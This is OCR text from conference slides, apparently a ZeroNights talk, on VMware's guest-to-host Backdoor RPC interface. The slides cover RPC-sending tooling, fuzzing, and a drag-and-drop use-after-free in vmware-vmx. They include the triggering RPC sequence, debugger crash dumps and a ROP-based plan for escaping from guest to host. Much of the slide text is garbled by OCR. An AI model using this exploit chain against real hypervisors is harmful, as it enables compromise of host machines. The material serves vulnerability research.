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VMware General
Architecture




VMware Simplified Architecture

What’s going on here?

Management Layer
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Host <-> Guest Communication

Low-bandwidth

RPCI
High-bandwidth




Host <-> Guest Communication

* VMware implements an interface called “Backdoor”
* Hijacks the IN/OUT instructions

e Supports multiple commands

» Supports two protocols: RPCl and TCLO

* Communication is done by accessing special I/O ports
* Can be used to:

* Extract host information

* Send Guest->Host RPC requests

* Backdoor interface is enabled by default | Tl
1))
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 Supports multiple commands/functions

* Commands can be found in the open-vm-tools on
github

* backdoor_def.h defines these commands

e Guest can invoke more of these commands
than you think...

Backdoor Commands

#define
#define
#define
f#define
gdefine
f#detine
gdefine
f#define
#define
#define
#define
fdefine
#define
fdefine
#define
f#define

BDOOR_CMD_APMFUNCTION 2
BDOOR_CMD_GETDISKGED 3
BDOOR _CMD_GETPTRLOCATION 4
BDOOR_CMD_SETPTRLOCATION 5
BDOOR_CMD_GETSELLENGTH ]
BDOOR_CMD_GETNEXTPIECE 7
BDOOR_CMD_SETSELLENGTH 8
BDOOR_CMD SETMNEXTPIECE g9
BDOOR_CMD_GETWVERSION ie
BDOOR_CMD_ GETDEWICELISTELEMENT 11
BDOOR_CMD_TOGGLEDEVICE 12
BDOOR_CHMD_GETGUIOPTIONS 13
BDOOR_CMD_ SETGUIOPTIONS 14
BDOOR_CHMD_GETSCREENSIZE 15
BDOOR_CMD_MONITOR_CONTROL i6

BDOOR_CHMD_GETHWVERSION
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* Invoking Backdoor functions is simple:

eax
ebx
CcX
dx
eax

564D5868h /* magic number i
command-specific-parameter
command-number /* 100le = RPC */
5658h /* VMware I/0 port */
dx

Invoking.Backdoor

_BACKDOOR_DEF_H_
o -

"includeCheck.h"



e Supports multiple commands
» Rpctool.exe can be used to query some of the commands.
* Rpctool.exe is open source and can be found in the open-vm-tools
* These RPC commands can be found in vmware-vmx.exe and sprinkled throughout the
open-vm-tools source

Tools>rpctool. ex

rpctool <t

¥x.capability.tools_is upgradable”

C:\Program Files\VMware} SErpC "vm
1
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RPCI

[ e oy Dol fgot B ol o Lo i i o, e et e e e i

rdata:0000000.., 00000026 C tools.capability.guest_conf_directory

‘s .rdata:D000000... 00000026 C tools.capability.guest_temp_directory

E relata:0000000... 00DDOOTE C tools.capability.auto_upgrade

‘<7 .rdata:0000000... 0000001A C tools.capability.open_url

(5] .rdata:0000000... 0DDDOO1D C tools.capability.hgfs_server

‘=" .rdata:D000000... 00000010 C tools.capability.printer_set

‘s"| rdata:D000000... 0D00001A C tools.capability features

‘s .rdata:0000000... 0000001F C tools.capability.unity.taskbar

rdata:0000000... 00000017 C tools.capability.unity

‘s .rdata:D000000... 00000027 C tools.capability.display_global_offset

‘s’ .rdata:D000000... 00000026 C tools.capability.display_topology_set

'__‘: relata:0000000... 00000020 C tools.capability.resclution_min

| [ AT T PR T A -~ [ [ [ ' .t

lea 9, sub_ 148088360

lea +8, aTools capab_ 17 ; "tools.capability.dnd version™

lea rdx, aGuestdndversio ; "questDnDUersionSetDisable™ [
mov ecx, 29%h 5
moy [r5p+38h+var 18], rdi ’.
call sub_1480868258
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Summary

* Backdoor Interface is used for Host/Guest communication

Hijacks in/out instructions

RPCl is used from guest -> host

TCLO is used from host -> guest

RPCI commands can be found in vmware-vmx{.exe}

open-vm-tools is a goldmine!
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VM RPC Interface




GuestRPC

* The RPC requests are sent through the “backdoor” channel
 Specifically, the BDOOR_CMD_MESSAGE (Ox1E)

f#define BDOOR_CMD_INTI13 29 /% Not 1n use. %/
fdefine  BDOOR_CMD_MESSAGE 30

* The Guest Messages are defined in guest_msg_def.h

* GuestRPC supports multlple message types: /# Basic request types */
{

MESSAGE_TYPE_OPEN,
MESSAGE_TYPE_SENDSIZE, ‘
MESSAGE_TYPE_SENDPAYLOAD, " ‘ , —
MESSAGE_TYPE_RECVSIZE, —\ | ’ ‘
MESSAGE_TYPE_RECVPAYLOAD, 1 N
MESSAGE_TYPE_RECVSTATUS, g H ‘
MESSAGE_TYPE_CLOSE, = = “ ‘{ 3}

} MessageType;
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GuestRPC

* Example of a simple GuestRPC message:

mov eax, 0x564D5868 mov eax, 0x564D5868

mov ecx, 0x001e //MESSAGE_TYPE_OPEN mov ecx, 0x6001e //MESSAGE_TYPE_CLOSE
mov edx, 0x5658 mov edx, 0x5658

mov ebx, 0xC9435052 mov ebx, SIZE

in eax, dx in eax, dx

mov eax, 0x564D5868 ‘
mov ecx, 0x1001e //MESSAGE_TYPE_SENDSIZE | 1

mov edx, 0x5658 1 L 1]
. - | L ( . <

mov ebx, SIZE

in eax, dx www.zeronights.org
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GuestRPC

* GuestRPC requests are parsed within vmware-vmx{.exe}

* GuestRPC Messages/Functions are also implemented inside vmware-vmx{.exe}

* |f we look closely inside GuestRPC_Funcs we will notice the following:

sul:I_ltl-E.I-E‘l-EEIIIZIEIII-.H-{IIEI-J "ICPR', @i64, @is4, ExecRPCRequest, @i64, nullsub 1, @ik4, lu},

.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
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db 8

dq offset aGuestrpc

dq offset GuestRPC_Funcs
align 2@h

dq offset aDiskbackdoor ; "DiskBackdoor™”
dq offset DiskBackdoor Funcs

db @

"GuestRpc™

————
::‘:‘

ﬂ
nlli
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ExecRPCRequest

* The function takes the RPC request as an argument

Checks if the RPC function being passed is valid

Checks if we have enough permissions to execute the function

Executes it

L‘,
=
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* Since this is exactly where RPC requests are parsed, we can actually hook this

function and sniff the requests being sent

* For this task we used pykd ©
* Set a breakpoint on the ExecRPCRequest function
* A pointer pointing to the request is set in the r8 register
* The length of the request is set in the r9 register

* Should look similar to the following

def BreakpointHandler(self):
print "[x] Request Length:; %d." % pykd.reg('r9')
_bytes = pykd.loadBytes(pykd.reg('r8"'),pvkd.reg('ra"J)
self.OutPutBytes(_bytes)

if self._type = 2:
self.ModifyRequest(pykd. reg('r8'),pvkd.reg("'r9'))
_bytes = pykd.loadBytes(pykd.reg('r8"),pykd.reg('r3"'))
self.OutPutBytes(_bytes)
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Tool Development

* One of the challenging problems with VMware and RPC is tools development for:
* Case analysis
* Exploit development
* Fuzzing

* While we can definitely use the open-vm-tools to develop tools in C++, there are
still challenges:
* There are functions that definitely needs to be implemented in ASM
* Without ASM we’ll need to use the exports from vmtools.dll

* Still a little bit of a hustle |
Ha
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C++, Take 1

ddress{vmTools, "RpcD
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* Use Assembly

 Since some function are not fully
implemented in the tools, thus in order to
step out of the vmtools.dll we'd need to
implement some functions in ASM

dword ptrieax]
edi

esi
ebx

ebp

C++, Take 2




C++, Take 2

* As for implementing a function to send RPC

requests through the backdoor channel in ASM,
it should be pretty simple

esp + 24h]

byte ptr es : [edi]



Python

 All that is still not enough
* We need something for FAST tools development

* Python? Yup, we implemented simple ways to send RPC requests through
python:
* C Extensions
* Ctypes

* Unfortunately, Josh (@kernelsmith) (our DevOps manager) wanted to implement
something similar in Ruby.

(i
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Python, C Extensions

* C Extensions are awesome
* It’s a shared Library (.pyd) on Windows which exports an initialization function

* The shared library can be imported from python

‘ L\ A
A |
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Python, C Extensions

PyMethodDef MyMethods[] = } ) .
- PyObject® py_rpc_send(PyObject®

end, METH VARARGS, jer
y_rpc_send unclose, METH VARARGS,

EPYMODINLIT_FUNC initRPCSend(void)

(void) Py_InitModule("RPCSend", MyMethods);

dl
1
|

1
N
|
|
|
|
|
4
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Python, CTypes

* Ctypes provides C compatible data types

 Allows calling functions in DLLs or shared libraries

RPC_SEND_BUFFER = ctypes.create_string_buffer(
‘\x60' # pusha
'"\xb8\x68\x58\x4d\x56"' # mov eax,0x564d5868
+—— 24 lines: '\xb9\x1le\x00\x00\x00' mov ecx,0xle
)

_prototype = ctypes.CFUNCTYPE(DWORD, LPVOID, DWORD, use_last_error=True)

VirtualProtect (RPC_SEND_BUFFER, len(RPC_SEND_BUFFER), PAGE_EXECUTE_READWRITE, 0)

_rpc_send = _prototype(ctypes.addressof (RPC_SEND_BUFFER))

def rpc_send(buf):
return _rpc_send(buf, len(buf))
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Fuzzing the RPC Interface

* Fuzzing the RPC interface requires tooling both on the GuestOS and the HostOS

* Some problems that we’d need to tackle:
» Detecting Crashes from the host (Mostly debugging vmware-vmx in this case)
» Testcase generation (can be on the GuestOS but we want the guest to stay light)
* GuestOS VM(s) management from the HostOS

aimiml
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Fuzzing the RPC Interface

rough vmrun > \

anage
attach >
= monitor >
Framework VMWare
HOSt WorkStation

Agent
<:: Send test cases >
$ mutator
&\ J N J \ J/ R —

www.zeronights.org
#zeronights



InMemory Fuzzing

* Since we know exactly were the RPC requests are being parsed, we can actually
do InMemory fuzzing:
* Hook ExecRPCRequest (on the HostOS)
* Modify the RPC request before it gets parsed
* Wait for crashes

* Additional tooling required:
* Crash Detection (From HostOS)
* Record modifications (From the HostOS)

! 1r
sl

|

www.zeronights.org
#zeronights



=
x
N
m
g 1]
=. I
[ ]
%)
o .
o T
(%]
1
:HW T



Root Cause

* The Free is triggered when the DnD version is changed multiple times
* The re-use happens when a random DnD function is called after the Free

* The PoC is relatively simple:

tools.capability.dnd version 2
vmx.capability.dnd version
tools.capability.dnd version 3
vmx.capability.dnd version

dnd.setGuestFileRoot AAARA //Technically any DnD function would work. ]

H

R
]

dl|(H
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* If triggered successfully
we should end up in a

crash similar to the following:

* To verify further,
lheap —p —a @RCX will
show us where the

0:016> r
rax=000000006cac79£f8
rdx=000000006cat7als
rip=000000014002d0da
rB=0000000070c77ecd
r11=8101010101010100
r14=000000013££90000
iopl=0 nv up
cs=0033
efl=00010202
vmware vmx+0x9d0da:

000000014002d0da 488b01
ds: 00000000 29c96£40=

0:016>

ss5=002b ds=

rbx=000000000000006e
rsi=0000000140b160£B
rsp=000000006ca67990
r9=0000000000000131
r1l2=0000000000000003
rl5=0000000000000000
ei pl nz na pe nc

002b

mow
i i A B i B B B B B B B B B B )

address 000000002%c96f40 found in
_DPH_HEAP ROOT @ 3e21000

in free-ed allocation (

000007£fefdc9B726

DPH_HEAP BLOCK:
2adl5270:

Root Cause

rex=0000000028c96£40
rdi=0000000070c77ecd
rbp=0000000070c77ecO
rl0=e07360632d636d63
r13=0000000000000000

es=002b f£s=0053 gs=002b

rax,gword ptr [rex]

VirtaAddr
29¢96000

VirtSize)
2000

verifier|VerifierDisableFaultInjectionExclusionRange+0x000000000000234e

0000000077b84255 ntdllIRtlLogStackBackTrace+0x00000000000022d45
0000000077b2797c ntdll|TpAlpcRegisterCompletionList+0x00000000000059%c
00000000779clala kernelll |HeapFree+0x000000000000000a
00000D00754bcabe MSVCR90! free+0x000000000000001e
0000000140032d37 vmware vmxlopus repacketizer get nb frnm&s+ﬂxﬂDGODBDGODDDESZT‘F
000000014002c41ld vmware vmx+0x000000000009c41d
000000014000a52e vmmare_vmx+ﬂx00000000000?&52&
0000000140013£60 vmware vmx+0x0000000000083£60 -

www.zeronights.org
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Root Cause

* Next, we will need to get the size of the Free’d object

* In order to do that, we will need to break right before the Free happens and run
lheap —p —a on the address before it gets Freed
0:012> lheap -p -a rex

address 00000000713c4£40 found in
_DPH_HEAP ROOT @ 3cel000

in busy allocation ( DPH_HEAP BLOCK: UserAddr UserSize -
VirtAddr VirtSize)
6£598£70: 713c4£40 bA -
713c4000 2000

? vmware_vmxlopus_get_version_string+7cad0
000007£fe£8b28513 verifier|AVrfDebugPageHeapAllocate+0x000000000000026£
0000000077b919¢c1 ntdll!lRtlDebugAllocateHeap+0x0000000000000031
0000000077b2c985 ntdlliRtlpAllocateHeap+0x0000000000000114
000000007 7b0ddd8 ntdlliRtlAllocateHeap+0x000000000000016c
00000000754bcb87 MSVCRO0!malloc+0x000000000000005b
0000000140194a9f vmware vmx!opus repacketizer get nb frames+0x000000000033408€f
000000013fe5c4fa vmware vmx+0x000000000009c4£fa
000000013felab2f vmware vmx+0x000000000007a62f
000000013£fed3£60 vmware_ vmx+0x0000000000083£60
000000013£e29446 vmware vmx+0x0000000000069446
000000013£fedbbB6 vmware_ wvmx+0x000000000008bbB6
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Exploiting the vulnerability

[ ] First we Wi” need to find d Way to (10lc.cb0): Access viclation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
H This exception may be expected and handled.
ContrOI the Freed ObJeCt before *+* ERROR: Symbol file could not be found. Defaulted to export symbols for
. C:\Program Files (x86)\VMware\VMware Workstation\x64\vmware-vmx.exe -
it gets re-used vware vmx+0x9d0e2:
00000001° 3£55d0e2 ££5008 call gword ptr [rax+8]
de:41414141°414100a6=2272222722277277
1 1 0:016 b i
* This can be done by sending an i e O
. 00000001~ 3£55d0ca 7419 je viiware_vmx+0x9d0e5 (000000017 3£55d0e5)
arbltrary GuestRPC req uest 00000001"3£55d0cc 4d85c9 test  r9,r9
00000001°3£55d0cf 7414 je vmware vmx+0x9d0e5 (00000001~ 3£55d0e5)
00000001° 3£55d0d1 48Bb4520 mov rex,gword ptr [rex+20h]
through the badeoor Channel 00000001~ 3£55d0d5 4385::9 test rcx:rcx
00000001°3£55d0d8 740b je vmware vmx+0x9d0e5 (00000001 3£55d0e5)
00000001" 3£55d0da 48Bb01 mov rax,gword ptr [rcx]
* For example th rough the 00000001~ 3£55d0dd balB000000 mov edx, 18h

. . 0:016> dd rex
tools Capablllty guest temp dlrectory 00000000 0375b2a0 4141009e 41414141 41414141 41414141
. . — —_ 00000000°0375b2b0 41414141 41414141 41414141 41414141
F{F)(: f . 00000000 0375b2c0 41414141 41414141 41414141 41414141
unction 00000000°0375b2d0 41414141 41414141 41414141 41414141
00000000 0375b2e0 41414141 41414141 41414141 41414141
00000000 0375b2£0 41414141 41414141 41414141 41414141
00000000°0375b300 41414141 41414141 41414141 41414141
00000000°0375b310 41414141 41414141 41414141 41414141 ~

HHARL
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Exploiting the vulnerability

* The answer was in the unity.window.contents.start RPC function

Yyv

il s =

aaaaaee148885C21
aafaeeel4ee85C21
aaaaaae148885C21
aapaeaal4e@85C23
aaaaRee148885C26
aaaaea6148885C2C
aaaaaael48885C32
aaaaaae148885C35
aaaaaee148885C30
aaaaeaal4ae55041
aaaaaa8148885C44
aBaa00868148855C48
aaaaaae148885C4F
aaaaee6148885C54
aaaaeae148885C59
Baaaaaald4aassCo8
aBaaaaee148885C63
aaaaeaa148885C6A
aaaaaa8148885C71
aagapaalipassCie
aapaaae148885C79

loc_14@885C21:

mov
mov
mov
mov
mov
mov
mov
mov
mov
call
mov
mov
lea
mov
mov
mov
call
MOVIX

imp

eax, [rbx]

ecx, [rbx+aCh]

cs:dword 148BBC15C, esi
csidword 148BBC158, eax
eax, [rbx+4]

cs:dword 148BBC168, ecx
cs:dword 148B8C168, eax
eax, [rbx+8]

cs:dword 148B8C164, eax
Malloc wrapper

rdx, [rsp+3Bh+arg 28]
rcx, [rspt+3Bh+arg 28]
r8, byte 148761EF3

rob, 1

cs:gqword 148B8C178, rax
cs:qword 148BBC178, rax
outputMsg

edi, al

short loc 148885C5D

* Next question is where should | put my ROP chain? Should | heap spray?
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Exploiting the vulnerability

* What does the plan of action look like now?
* Send a unity.window.contents.start request with a ROP chain that sets RSP to RDI.
* Trigger the free.

* Overwrite the freed object with another one. The freed object should contain the address of
vmware_vmx+0xb870f8.

* Trigger the re-use using a request that contains the ROP chain to gain RCE.

* There is an RWX region in vmware-vmx, so you know what the ROP chain should
do ;)

Etobal var address T Unity Packet DD Fackot
>

Singie HOP -> punh BDISPOP RSP

| Rap -
e
ROP i

e T
1
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VMware DnD UAF Exploit

(o] Wit 1

Find  Users File Edit View VUM Tabs Help
d &=
Process 3Bl  Prvete Bytes [WekinGSe PID Desorption Company Name | 10} Home () Windows 10 x64
VG At Service exe 452K BDK 1472 VMwars Guest Autherticatio .. Viwars, inc.
v vmnetdhep exe 7432K 1520 VMware Viinet DHCF service: Viware,
G wmtoolsd exce: 108K 1540 Vhware Tooks Coro Service Ve,
(¥ {umnat exe 6012K 1564 Wware NAT Service VI
= [umwareaithd exe 450 K 1636 Viiware Authonzation Senvice
e v e 42764 1532 Viiware Werkstation VX :
mware sberbirator exe 3.292K 1772 VNiare USB Abtreton Ser.. Vilvare.
umware hostd exe 31,956 K 1900
Tsvchost exe. 1556 K 264K 1468 Host Process for Windows S... Microsoft Corporation
TPAutoConnSve exe < i,

CPU Usage: 10000% Commit Charge: 56.10% Processes: 56 Physical Usage: 86.41%

[To return to your computer, move the mouse pointer outside or press Ctri=Alt.
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Conclusion
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